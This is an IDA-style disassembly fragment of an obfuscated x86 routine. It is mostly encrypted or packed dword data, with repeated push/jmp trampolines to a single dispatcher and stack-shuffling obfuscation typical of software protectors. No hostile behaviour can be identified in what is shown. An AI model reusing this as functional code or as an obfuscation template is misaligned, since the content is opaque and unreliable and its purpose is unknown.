mov [edx+edx*2+0B7FB75h], cl
mov esi, 0E5ADF99Ch
jle short loc_5A1E96
mov [ebp+1DF4C700h], ebx
xchg eax, edx
arpl [eax+19h], sp
fiadd word ptr [eax]
; ---------------------------------------------------------------------------
db 0
dd 9 dup(0)
; ---------------------------------------------------------------------------
loc_5A1F34: ; CODE XREF: sub_5A1E95+47j
jmp loc_5A2AAB
; ---------------------------------------------------------------------------
push 619945Fh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61995A9h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61996CFh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619977Ch
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6199841h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6199968h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6199A47h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6199C41h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6199D37h
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 0C6h
dd 7A57A916h, 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h
dd 0DDE0F7B9h, 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h
dd 580B7B32h, 13E44B46h, 0ABB1F9A5h, 57EB9A92h, 0BF8CD4FCh
dd 149E517h, 1B58FB28h, 82543183h, 13818D39h, 6535FAACh
dd 4AA24E6Dh, 5D3A7F3h, 0B58B2CAEh, 12AA8A76h, 343A02CAh
dd 580B4D4Eh, 0C70B3A62h, 5E04FFCBh, 0BE8BD3FBh, 7951A318h
dd 7A9DA9A2h, 0BEED59CDh, 509823B3h, 109C8288h, 88B05E24h
dd 75E3EF59h, 0ECB981C9h, 5DA1D0E9h, 641739FEh, 7CEECCF4h
dd 4D327853h, 9965563h, 6B710000h, 0AE250254h, 0F2E0BD0Fh
dd 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h
dd 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580B7Bh, 40178FF6h
dd 0F4224F41h, 0DAE51402h, 0AA77BFFCh, 0BFFED92Bh, 0F423BB13h
dd 62597D8Ah, 1AC63410h, 34D005D2h, 19711D9Eh, 844C5281h
dd 0F0E820B7h, 748B37CFh, 8314ECD3h, 5C8B2328h, 0E6008518h
dd 1FCBF357h, 6DFF7D9h, 64557C58h, 9528ABB8h, 0F5DBE1E9h
dd 95806DFh, 0C9896DE1h, 7E4B21E8h, 61B9655Ah, 29A2E032h
dd 0F8D8F63Ch, 42C2h, 0A513D900h, 0E8ABB1F9h, 0B657E502h
dd 0BA9CE28Eh, 3F580602h, 8D737994h, 0A1580602h, 2835E179h
dd 54C04FAFh, 5BD64DA1h, 20C217C3h, 0DD94C062h, 0C91AD76Dh
dd 0A486A31h, 0D8FBD491h, 0D12AF8h, 12410000h, 3E4BF7C4h
dd 6B782499h, 97A4506Bh, 142A7C3Fh, 51F1EC25h, 479922B4h
dd 3E9A6C6Ah, 313DE981h, 0CDD31BC3h, 57E50592h, 0EAC61840h
dd 0BF8CD47Ch, 7076A518h, 0FADD3E6Ah, 5EA6CE5Dh, 0E2C8CE96h
dd 0F65E1CBDh, 43949FCEh, 0E3F410C5h, 3ED62EDAh, 607754A6h
dd 94404F9Eh, 0E27AE66Ah, 94817004h, 75836D38h, 84Ch, 4C9E21BBh
dd 759646Fh, 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h
dd 2EA380D2h, 7C5C398Bh, 0C214F143h, 139BA7F9h, 0B7D270Dh
dd 0D9403B58h, 42C24017h, 0E82CD8A3h, 8A9B5F91h, 0D40310A7h
dd 0D9FA0EC9h, 48E038E4h, 87511EF6h, 0D8FE0938h, 0E859A52Eh
dd 7A5CC9B5h, 60B864FCh, 622C1218h, 184051F2h, 13752E80h
dd 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh, 7723963Fh
dd 0A24E6B6Ah, 0C72A688Ch, 8DBCDE00h, 79A811C0h, 0D9D6580Dh
dd 3E2F06F8h, 0D692A7E2h, 0D59D0332h, 95000000h, 7FAE0FC8h
dd 494F1798h, 51F1E863h, 15204F77h, 0DBB2FAC1h, 0F6ACCCCDh
dd 7DE7161Bh, 0AA566770h, 0EED4DAA2h, 251F2CCh, 7867ABDAh
dd 0C51F2D1h, 0D926993Fh, 8792C1F8h, 3D1A6C4Fh, 6A762299h
dd 60C54FCh, 57E5EACBh, 23FF5179h, 0BBC109B5h, 5DFBBEA0h
dd 0D8BEC48Ch, 0EC5E1D9Eh, 0E91195C4h, 503D4A1h, 0E53DE9D0h
dd 5623FB4Dh, 40F3E7Bh, 4E343AD3h, 625E1D9Fh, 0BAC4A23Ah
dd 373892CEh, 7263F4Dh, 0FBE10000h, 3E9572C4h, 82502D7Fh
dd 0CB0AE739h, 18BF9CEEh, 9E1A53A5h, 0A6F8C512h, 5FB108C9h
dd 17695682h, 0CD1F9C3Ah, 4D3339C1h, 61580B7Eh, 0C512FF66h
dd 0F7CEA6F8h, 878CC79h, 6E79A806h, 83389E68h, 9287FD7h
dd 0F6E6EA4Eh, 0DF98EA82h, 4BF7C412h, 0D123983Eh, 0F1E7D9BBh
dd 428C6351h, 413AA335h, 23919BCAh, 9E6B337Bh, 84DC8835h
dd 3A021155h, 715857ECh, 43DEEA03h, 0FF47DFDFh, 0CF17A432h
dd 0FDA8E4F8h, 84B350EDh, 7C3F9774h, 0DAFBC8D0h, 0ACDB33DFh
dd 448C34A2h, 0FF620F3Eh, 9F7DA55Dh, 38902AE9h, 7924321Ch
dd 8E000006h, 421F714Eh, 0FDDA2C91h, 0B794E6D5h, 6C499B1Eh
dd 0C700526Bh, 0A518BFF1h, 5E5B7653h, 16A92F0Ch, 0CCEFE7C4h
dd 0E0E66E7Ah, 580B7EFAh, 12AC130Eh, 3E4BF7C4h, 0A24A6498h
dd 1005901Bh, 0F65ACC78h, 8536A054h, 9A62703Dh, 0F72A7B1h
dd 57039BFDh, 4838BF40h, 9D354C9Dh, 3694F55h, 557D51F2h
dd 8DD81626h, 71FEEDD6h, 7, 1AF1188h, 0D9680000h, 51F1E7F7h
dd 0A6A00F7Dh, 0D8BB7F72h, 61297109h, 0F280755Bh, 0ABB18951h
dd 51F27FC5h, 0EA19B1D9h, 32EADEE4h, 3D1A57ECh, 438B239Ah
dd 95B6076h, 6511AA2Ch, 0FB43EB59h, 0FF5EC6F5h, 0C80DDA5Dh
dd 163EC2F1h, 902F5A38h, 0C7D5BF38h, 5B4h, 0E4368953h
dd 9FF1CC07h, 59AB10C2h, 0E60597Ch, 0C517A631h, 53842C8Ch
dd 963B186Ah, 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B7FBFA5h
dd 71D8D358h, 4BF7C412h, 0DB23983Eh, 0C8F7C40Eh, 0CA88EC5Eh
dd 0C517A432h, 0EDF1DE87h, 0B2B880FEh, 51F1F3CCh, 913D7C59h
dd 928C7339h, 6E48735Eh, 2B91C058h, 7, 0F31142h, 13680000h
dd 0E9B1F9A5h, 5602BB1Ch, 728BCFFEh, 5A57EB9Ah, 7AA68C92h
dd 5429580Bh, 0B39DB596h, 0F6254D13h, 3A024A72h, 0B574E34h
dd 8E7B6258h, 6EEC6F2Eh, 0CED41CB4h, 580B74E8h, 9FA5D4FCh
dd 0F4C90AD7h, 0B6C1F048h, 9412DC20h, 3FF8A1D3h, 41925FA7h
dd 4978D07Ch, 917A5C39h, 0B6FA58Bh, 4B313758h, 5F580B70h
dd 1497137h, 0B7015FBh, 69012958h, 0EEE8B5BDh, 26949ECDh
dd 302C327Ah, 605E0523h, 29C8288h, 88B05E25h, 75219C3Bh
dd 703D851Dh, 400D5566h, 0F6DB2891h, 0A78494C3h, 0D4E08C2Fh
dd 0A572BA66h, 545A8930h, 182BEF4Eh, 0DFBDE564h, 327761BDh
dd 8D788670h, 7A000004h, 2E0B5D62h, 0E9C618A5h, 0A380D2E9h
dd 58358732h, 0B3EC3E7Fh, 912CAB05h, 4A6F623Fh, 2BD1BF8h
dd 0B803D3B0h, 0CCD25A66h, 580B80E6h, 1198FFFAh, 141h
dd 0F9A51368h, 9512E9B1h, 17356DDh, 8734A2EFh, 79FB1458h
dd 3D6557ECh, 41272DF5h, 55580C5Ah, 2BF8FE2Dh, 0E1BE10ABh
dd 2A1016F5h, 3E580C5Ah, 0CAD27E16h, 0B8E7D6FDh, 489040AEh
dd 9823B380h, 216594ECh, 5E060D25h, 1F050BD3h, 0AC5E25EDh
dd 90E89425h, 0EF73A2CAh, 0B1B77FC7h, 5E25ECCBh, 8288B7DFh
dd 529A21B5h, 0EC9E848Ah, 0CBB25E25h, 9F6ED78Fh, 3C6B03BFh
dd 84874F2Ch, 262E987Eh, 0A3C5AC5Eh, 11573E4Bh, 0FBB53EBh
dd 209D3A07h, 0E3ED1C74h, 7B81C975h, 641A011Ch, 9A0CEA12h
dd 0A732758Ch, 3AEAFBDh, 83590000h, 0C60DEA3Ch, 0AC8A5F7h
dd 53825FB1h, 0A0371466h, 2692CB1Dh, 1E704D8Ah, 0D7299041h
dd 8FE1DEFAh, 459724B2h, 0C5ABB139h, 0D9580B81h, 0C41277DEh
dd 983E4BF7h, 0C90EDB23h, 9129943Fh, 0F45E8DE5h, 0C87C1E82h
dd 0E1DAF80Eh, 0ACB9F749h, 52FEEDF1h, 41h, 0F9A51369h
dd 5440ABB1h, 0F5CC57E5h, 73707B71h, 66537EC8h, 0FDFF77CEh
dd 554E5DF6h, 327AA226h, 64E6D65h, 76229939h, 0C9DFEF1Eh
dd 580690E6h, 52696Dh, 7A57AF23h, 0EDFBA73Fh, 318h, 874A1744h
dd 0C9F0E532h, 76498F9Ah, 0E1F5C2CAh, 0A7D62EDAh, 2F813A9Ch
dd 8B378452h, 1163587Eh, 0CF17C735h, 0E53936C9h, 0D07CA457h
dd 618A88Ah, 0F191B358h, 5A657340h, 0CD963C03h, 93C24E5Eh
dd 0D9CD3E27h, 72C0F8h, 17D70000h, 85318E4Ah, 86F4FE2Dh
dd 5359B025h, 51F1E86Dh, 29C15981h, 0FBC414E1h, 0C2C8F74Fh
dd 0E502F9BCh, 0F39FC757h, 6E9714EBh, 3342B358h, 84DEC004h
dd 74635806h, 43909D49h, 0C0C6CE7Ah, 580684DAh, 0B014C6EEh
dd 72480F92h, 0E6B7079Bh, 6998E2F8h, 5607B17h, 59F8D970h
dd 95857E82h, 0CD287F3Eh, 50B6E5E0h, 0F7h, 63567B48h, 49305FB7h
dd 7D874A17h, 20CC645Bh, 488E99C8h, 1DBAC773h, 4A8B58A0h
dd 0C9D6406Fh, 8F66AE0Dh
dd 4D52C693h, 44AEDD13h, 0CA1C9F37h, 0F2DCC5B4h, 39825451h
dd 37380FE7h, 0BA7BB010h, 65717CABh, 0E2370E56h, 6DBF8380h
dd 8933194Eh, 329AF632h, 1F8D9903h, 925F276Fh, 74B7A3Fh
dd 57E59264h, 0A078CAF2h, 71ECD2D8h, 28005806h, 6723C22h
dd 90285058h, 45E95761h, 4A74F7FDh, 9AC25DFBh, 0EBC28A52h
dd 7ACBDBEAh, 6E54DAF1h, 825E1DD9h, 0B7202B5Ah, 0D7B406h
dd 6C1297FEh, 0F68EF1EEh, 92D69818h, 0C5D3BD38h, 1B4h
dd 0E4368953h, 9FF1CC07h, 59AB10C2h, 0E60597Ch, 0C517A631h
dd 53842C8Ch, 963B186Ah, 0E4F4D123h, 2AAC89DBh, 0AB333F91h
dd 0B83BFA5h, 71D8D358h, 728E4A17h, 9289DD58h, 0EA962E20h
dd 7F586392h, 0C70FEC3Eh, 13E9A2F4h, 0ABB1F9A5h, 57E502E8h
dd 9CE28EB6h, 580602BAh, 5168923Fh, 0B1D932B8h, 0F805B149h
dd 0BC32DEDFh, 0F0B73A58h, 338A4D1Ah, 0AE002F87h, 0A36EF7ECh
dd 28F0F8D9h, 6423C22h, 0F9285058h, 0AD93h, 0C412AA00h
dd 993E4BF7h, 43327824h, 0D251F1ECh, 8D65B704h, 4FA617C0h
dd 3A0A3E5Bh, 5C679654h, 8995417Ah, 252B731Bh, 57E5C482h
dd 0BA96E810h, 8F5CA44Ch, 0D8BEC447h, 0EC5806A3h, 28802CC4h
dd 0C9EDF3F9h, 595DFB77h, 7312E931h, 0E345B00Fh, 0DBA8AEDDh
dd 926FC1FCh, 0AA15C345h, 0DAE1F1FEh, 0EECCAA42h, 7B389308h
dd 0BE8391h, 93490000h, 0D6FDDA2Ch, 1AB895E7h, 63724FA1h
dd 0B0270456h, 3682BB0Dh, 0E605D7Ah, 0C719A031h, 7FD1EEEAh
dd 358734A2h, 0B59BA129h, 0C9580B84h, 0C51267CEh, 1CEA6F8h
dd 0E63EEAD1h, 912AACB7h, 0C412863Fh, 0F1E2AFF7h, 26339DCCh
dd 0DDB90BB0h, 7177BF6Fh, 57EB9A8Dh, 38854E1Bh, 0B15D8509h
dd 8467D2A9h, 8733884Eh, 0A8D82Fh, 0C80E1948h, 12C4A1F3h
dd 15B7FDA9h, 0B14B7A7Ch, 34FC0D4Dh, 9C5C482Eh, 0DD345C6Bh
dd 0D9CC5AF5h, 3F4A795Ah, 886E7497h, 9C6B9C72h, 0AD8ADC74h
dd 0D9E69229h, 0BC11BDFCh, 12C4781Ah, 0B27F57A9h, 616C9B20h
dd 8C9A4675h, 8, 0DDE0F7C4h, 7DE4C7AEh, 49F5CA12h, 75219A3Ch
dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
dd 8733884Ah, 0B864597Ah, 0E6895633h, 4C681h, 0B8500000h
dd 4, 8758C629h, 525C2434h, 0C281E289h, 4, 8704EA83h, 895C2414h
; ---------------------------------------------------------------------------
or al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp+0], edi
push 5864h
mov [esp+0], ebx
mov ebx, 74910FAFh
mov ecx, 72889C1Bh
xor ecx, ebx
pop ebx
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop edi
push ebx
mov ebx, 8
add ebx, 52C94D69h
add ebx, edi
sub ebx, 52C94D69h
mov [ebx], ecx
pop ebx
mov edi, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
mov ecx, [esp+0]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
jmp loc_5509FF
; ---------------------------------------------------------------------------
dd 744CDDDFh, 0C42A9AC5h
db 68h, 5Eh, 0B6h
; ---------------------------------------------------------------------------
loc_5A2AAB: ; CODE XREF: sub_5A1E95:loc_5A1F34j
mov eax, 6199E1Ah
add eax, ebp
jmp eax
sub_5A1E95 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 3E9ABC72h, 0D6DCC83h, 161830D2h, 7EA70D62h, 1C7A3926h
dd 1A11DD36h, 5413302Bh, 85AEA30h, 3FA360A9h, 0F580F9Bh
dd 30B17359h, 359AE94Dh, 6C8BDFDFh, 5DC7B5C3h, 0A0068D8Dh
dd 6A0619h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 525841C3h, 2205B529h, 60580614h, 1AD5B58Bh
dd 9D8B0614h, 61421BDh, 298D8961h, 6A061432h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8B03C357h, 85B58BC1h, 0C7061425h, 14064D85h, 5C4C06h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0D6AA2F1Ah, 0C83EB682h, 267185C7h, 614h
dd 1F90000h, 142E0D9Dh, 91B5FF06h, 6A061405h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 7411C357h, 95FFF5C8h, 6142361h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0BDC35747h, 0F9231298h, 1921858Bh
dd 6A0614h, 116995FFh, 0C08B0614h, 0DF9A7FEBh, 610CB1B6h
dd 50B2652Bh, 0C7B8FC45h, 4E9D307Fh, 0C05924EFh, 8C06DCDFh
dd 1C09A99Eh, 11E6A0B6h, 8575461Eh, 0A8383968h, 687135EDh
dd 58CD9165h, 36B3F9EBh, 359C9D1Eh, 5382F52Ah, 967DDCCCh
dd 82C94D4Bh, 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h
dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h
dd 0DD07536Bh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h
dd 0EE9CAh, 0EE9E0000h, 339C4EC4h, 77E7h, 0
; ---------------------------------------------------------------------------
jmp loc_5A39F3
; ---------------------------------------------------------------------------
push 619A22Ch
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619A30Ah
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619A46Bh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619A5D1h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619A7A3h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619A9BAh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619AB59h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619AC8Ah
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 4, 0D8h, 0E7h
dd 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh, 357B3D76h
dd 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h, 8870565Ch
dd 8984580Bh, 42C41222h, 28802C91h, 0FFD7E490h, 208E6ABCh
dd 8F222870h, 7B57E539h, 0EC9825AEh, 1AC6F9DFh, 77FB2AC2h
dd 7B5DA34Fh, 86580619h, 15F5E3B0h, 0F74FFBC2h, 0BCDE305Fh
dd 0D9BD3E27h, 2CC0F8h, 13D70000h, 0ABB1F9A5h, 57E502E8h
dd 506B6734h, 991D4CA4h, 0F0BDC571h, 63A7D6E7h, 58060381h
dd 0B3286A8Ch, 0F8D9D6B2h, 0DF4Ch, 0C4126300h, 6C434BF7h
dd 30F2C311h, 3641704Eh, 4C6F67A1h, 68B048A0h, 95E95491h
dd 0D3CBCA4h, 7B4096A3h, 0A714C2CFh, 218C3F55h, 23B351F2h
dd 6D694698h, 2896A24Eh, 0E0DBFBC8h, 7056DC34h, 8451F221h
dd 767CC45Ch, 57E53A3Bh, 813E9A67h, 0CA4E7DD5h, 448D5AA2h
dd 184F1E75h, 8DBF1D94h, 4724E5Eh, 8C47145Ch, 0B460597Ch
dd 0C018C45Ch, 59858B91h, 0E95DFB2Ch, 2BAC79C1h, 0A0684092h
dd 1D0CB49Ah, 58A0C85Eh, 1D0D6C52h, 2958805Eh, 2604B91Eh
dd 38936E8Ch, 42D5E3CDh, 3E00000Bh, 0F2CF219Eh, 0AD8ADCE1h
dd 67449625h, 1CF94B6Eh, 77B002BBh, 55686F41h, 0EAB2603h
dd 0C6F9DFBCh, 7C3F9774h, 90961E2Ah, 580B89AAh, 125CC3BEh
dd 5C4248C5h, 7051F1E8h, 815EB048h, 5B146655h, 63494F17h
dd 7751F1E8h, 0A816204Fh, 0CAD9B0F8h, 1BF2A7C7h, 49959853h
dd 0C159A6FFh, 0C3868C92h, 9157E583h, 9577BD69h, 0A0580682h
dd 9EC7DC7Eh, 60F8D956h, 0C4h, 73468B58h, 59406FC7h, 4BF7C412h
dd 7824993Eh, 0F1ED7F32h, 0D630A651h, 0BB13BFFCh, 0E2F4D123h
dd 0B3212DD9h, 82BDC30Bh, 3057E506h, 7DEB608h, 0FADCCD33h
dd 66BD15C1h, 0E716567Ah, 77BF6FDDh, 0FB4D5671h, 549CC45Dh
dd 19B85087h, 2ECA53E1h, 0A63EF6E2h, 0F8DFBC0Eh, 86D5E7C5h
dd 0AE983893h, 0A64A0h, 0FFC01C00h, 0BA03D0ADh, 74478B68h
dd 29904522h, 0E0DDFAD7h, 4D63558Eh, 4E1338Ah, 0BD9AECCDh
dd 7552A41Bh, 0FC085A61h, 8B886E74h, 0A19C580Bh, 0F8C5123Ah
dd 0CBEEE3B0h, 2B11171Fh, 3F51F1E8h, 9F327F17h, 0E7166E1Ah
dd 0DFDCFAD7h, 0E3C9CF97h, 0F751F1E7h, 67FFBC1Ah, 83502838h
dd 553C6B4Eh, 63494F17h, 7751F1E8h, 0C115204Fh, 95414EFAh
dd 8AF8D426h, 0D9989EE6h, 8F57E51Ah, 9275BB67h, 9F5805F9h
dd 9FC6DD7Dh, 5FF8D9DBh, 695h, 5FF38057h, 441CA414h, 0A5132E15h
dd 0F3E4B1F9h, 53FFBE15h, 2E3463FBh, 70018F66h, 134A73E0h
dd 46E1A0E4h, 0BF9757E5h, 625D3B9h, 0CC0AE758h, 53EB43EFh
dd 0E7C90FBBh, 0F2580625h, 0B27FB2D0h, 0FD699825h, 0F8D9AF68h
dd 64896h, 0A513AD00h, 0F2E4B1F9h, 96C51DC9h, 1B878A90h
dd 0ADD557E5h, 0FBD9BB01h, 0EE45805h, 7D299041h, 0E6A4F625h
dd 0D9D978EDh, 840FE6F8h, 13135D17h, 12187EADh, 2F000006h
dd 60CE6BD1h, 176268B0h, 0E557E502h, 0EDC81CBDh, 55E3F84Ch
dd 0E9EF37E7h, 0EA0E5DC2h, 11E83058h, 0A365CB84h, 0A40E3DFFh
dd 3E862A98h, 22334338h, 54D75F0h, 5A63703Dh, 1C2756AEh
dd 0D2AF01BAh, 0EDD9B704h, 94A66D47h, 9039CAAh, 5F7D0000h
dd 0A2310E60h, 0E6ECC91Bh, 2FA683D5h, 7C5B388Ah, 2B6EF41h
dd 429429AEh, 0FB4D6C65h, 0B305BA1Eh, 69BB00D6h, 0E9CFD55Dh
dd 0FD580B8Bh, 4F179B02h, 0F1E86349h, 204F7751h, 4EFAC115h
dd 0E42CD442h, 33864F1Ch, 0BC002F87h, 57EB8947h, 0E9FF5179h
dd 580B87D7h, 87D5BBC1h, 0C1E9580Bh, 70C6936Ah, 0B54D9055h
dd 0F6C511DCh, 0B35BC8A4h, 82379E6Bh, 0B8854D53h, 2E72A11Ah
dd 580B5730h, 0FBC215E2h, 0EC9825AEh, 0B9E16594h, 30D6000Dh
dd 106814A5h, 15AD10C3h, 1D23EBC3h, 580B5737h, 7653644Bh
dd 0E0054034h, 0E3D51948h, 88580BCAh, 0A318BA50h, 7ECC30Bh
dd 0B574E81Bh, 0F0CDDD0Ch, 0E329D5E6h, 580B2301h, 0B8F0C75Fh
dd 89B6290Fh, 0B1D12352h, 18605B7Bh, 86328D4Bh, 12EFFF2Eh
dd 5B4147C4h, 6F580B3Eh, 44AFA388h, 942CE89Ch, 280A50FCh
dd 0AD580A5Fh, 0DEEB9726h, 0A719C5FAh, 0DA20743h, 0C1152F6Bh
dd 832F8E45h, 744B932Bh, 4490965Fh, 1D2D5C3Fh, 1343Fh
dd 0C4129600h, 9A3E4BF7h, 4D337925h, 0DA51F1E8h, 0A077BFFCh
dd 1174AD93h, 0F8629154h, 1C227EECh, 51F29336h, 428A224Ah
dd 4D5C6C6Bh, 7EC6235Ah, 0F2A39278h, 4F7EA651h, 45CE4349h
dd 0D80057ECh, 0A436D6FAh, 0C7D5BF3Eh, 79Dh, 74C6F9E3h
dd 2F813C97h, 0E93B8052h, 9EF0C90Ch, 55A716C1h, 0C3149C1Ch
dd 6CBA8FAh, 548461B3h, 9A3C196Bh, 3BC3CF21h, 0B8D4F35h
dd 1686358h, 308D4A17h, 0DBE0F601h, 8B5222Fh, 0BFFD9B6h
dd 85AF2CDh, 8A746330h, 8420EBC3h, 0D8841CAAh, 4B00BCBh
dd 0DAE514ACh, 0F1CE0AFCh, 0E28E2FA4h, 0C3A0F28Ah, 0F0FDA914h
dd 3A2026E7h, 4E51F25Dh, 70E28E26h, 21B64E0Ch, 4C87549Ch
dd 5CD5BBC1h, 0C1E951F2h, 0D8257D29h, 0B810BCFDh, 2A3B7989h
dd 0D4FEED7Dh, 7, 0B611EBh, 17680000h, 0B8092F40h, 0F9283C88h
dd 27D3E8EEh, 0F1E3FFE1h, 0FE63C51h, 7048DC99h, 5B81BDDh
dd 3A690159h, 4492AAE8h, 90482577h, 5A3D832Fh, 0C151F21Dh
dd 3F9953EFh, 1CE4CAD0h, 1BF851F2h, 0FF5703B6h, 0A57DCF67h
dd 90BF00D8h, 44C612A9h, 257D2992h, 11D9E18Dh, 0F1E8250Bh
dd 0E2113951h, 12BE01D7h, 3EEAD105h, 6D19A031h, 92173357h
dd 0FA00C8E0h, 51F1E814h, 0CBB96A97h, 0D399013Bh, 682A7CABh
dd 69BB04D4h, 0F1EFC453h, 0CC9A4851h, 34FEED06h, 0FFFFFE82h
dd 494F174Bh, 51F1E863h, 0E809EFF5h, 0F51D51F1h, 0CCD8072Fh
dd 311h, 1C9F3704h, 2E91870h, 9042C412h, 0C7F4DE2Bh, 7F2BC31Bh
dd 0D12DAA77h, 82E3EE06h, 5B8A220Ah, 0F2BE2517h, 1CE9C151h
dd 15905B6h, 0EF9B24B4h, 74166897h, 53A516C0h, 979C6076h
dd 32C8588Fh, 0EE9A25B3h, 0BA66FE96h, 0F2B48274h, 725F2C51h
dd 0C90D1847h, 0CC3A46F2h, 0A753666Fh, 0EB83389Ah, 3D430B53h
dd 51F2B557h, 0E14436Bh, 5E5D7946h, 0E72B5AB2h, 57EC5672h
dd 3C9E7CA4h, 6D3EA425h, 5CB7583h, 27B50000h, 6A694698h
dd 0AE240153h, 0F7DEBB0Dh, 449370C2h, 0CAEE2779h, 7ACCF1E6h
dd 3385349Dh, 0EB3D8256h, 0A1F3C80Eh, 21070D95h, 35580B8Fh
dd 0C412D33Ah, 993E4BF7h, 0E1F5D224h, 2CAB88DAh, 597C4991h
dd 0BAC73160h, 0E7F4A01Dh, 1825D1ECh, 0E05602BBh, 29DBDE7Ch
dd 686F85C5h, 0A0C50355h, 5EFEEDEDh, 225h, 43A61375h, 5A5F7292h
dd 12BE56AEh, 6E7622BAh, 0C4DA7B97h, 0A800AC0Dh, 0AE473251h
dd 896B3B7Fh, 3052AE9Fh, 4CEC7912h, 0F612FFFEh, 29000001h
dd 2F8C4A17h, 0F2FC2B83h, 11AA2885h, 452B3179h, 0D751F1E8h
dd 28E7C500h, 34B60DAEh, 0B93D6C74h, 0CF9FE591h, 0B6AE9F31h
dd 88DDF694h, 76FFFEA3h, 1C1h, 43A6138Dh, 237B2792h, 433D438Bh
dd 6F51F1E8h, 3137FF47h, 51F1E84Bh, 9E08375Fh, 9EE78858h
dd 0D1996FAEh, 0E0E6E5CBh, 0A2D1F950h, 0CC993250h, 32FFFEEEh
dd 189h, 0F8A61349h, 0E7ACAAB0h, 0B8E051F1h, 0E6F6C60Ch
dd 0BBDDAE9Eh, 369D6A9Fh, 5483DB87h, 0FEEE7DE8h, 16381FFh
dd 17980000h, 2318E4Ah, 30DCDFF7h, 0B608B323h, 7CC46CDAh
dd 0E538E376h, 63745157h, 956AE5Ah, 0EA42EECDh, 1D330A52h
dd 690FCC94h
dd 0D01680AFh, 58062FEEh, 20BBD7F9h, 0F8D9A645h, 654B5119h
dd 79580638h, 31BC2251h, 0D3000000h, 0B1F9A513h, 0E502E8ABh
dd 0E28EB657h, 602BA9Ch, 27EFC558h, 6033B21h, 804BBE58h
dd 8ABF6A18h, 1B6D9CC4h, 9201647Fh, 0B9FDF8D9h, 14000000h
dd 0E3154017h, 87A56BEEh, 0F2699B81h, 0EF87AF51h, 0DB21B5C0h
dd 0AF4CB66Dh, 2F770FA9h, 533A6858h, 0FFE33A85h, 0C2FBD8E5h
dd 8491FB2Ah, 0B6BE6A53h, 25D1E8E9h, 43939ECDh, 17BFCC78h
dd 893C52A4h, 0B051F228h, 67439526h, 70D55F9h, 57E6FD6Eh
dd 71488956h, 0BA3E6DC5h, 5A7D4A92h, 0A3341163h, 0DD7E646Ah
dd 6A925808h, 9EF0F4D2h, 0E3CD3EA7h, 3B4D5h, 0AF10CC00h
dd 6A53805Dh, 24973B18h, 0D9E0F5D2h, 902DAA87h, 0FDB3053Eh
dd 0B491E3DAh, 6D4A9C1Dh, 2502546Bh, 0ACB80AB1h, 91381E24h
dd 514C580Bh, 0F8C512EAh, 0AE0DC9A6h, 0B2989E66h, 0C651F1E7h
dd 0A65F6F9Eh, 4BF7C412h, 0DB23983Eh, 4CF8C50Eh, 0E8583E44h
dd 446C51F1h, 45785FACh, 0DF00616h, 9951F1E8h, 83B20BCCh
dd 1B630B79h, 0E51DEA15h, 0FE507857h, 0F7C41245h, 0FBE1E7AFh
dd 0F51F1E7h, 414EB8E7h, 0F8D42695h, 989EE68Ah, 57E53905h
dd 599F4B73h, 58061877h, 0A9226082h, 0F8D9BDBCh, 6CFCBA2h
dd 4AA11AB8h, 0D2011FA1h, 766Ch, 40178300h, 2723EE42h
dd 777DC501h, 51F2C591h, 444E7DA5h, 0A85C75D6h, 60F89029h
dd 0E14F1218h, 401D57E5h, 227A2697h, 0E0EED4DAh, 0DA025806h
dd 5F23FA42h, 70EEAE2Bh, 91990332h, 7DAC0DC4h, 6585739h
dd 0BF8C6258h, 0EDFAA619h, 0CF27D3EAh, 2D7FE037h, 0E5E24D48h
dd 0AD2664B6h, 0F8D92FB8h, 0E346h, 84673E00h, 20B35DACh
dd 0A6B1979Dh, 9DC55806h, 12EFD605h, 3E4BF7C4h, 6B782499h
dd 3108506Bh, 8250AA91h, 51686DBEh, 13208AB9h, 90A6F8C3h
dd 51F275DDh, 97E9D204h, 0E9EF1CBAh, 51F27503h, 0F57EF17h
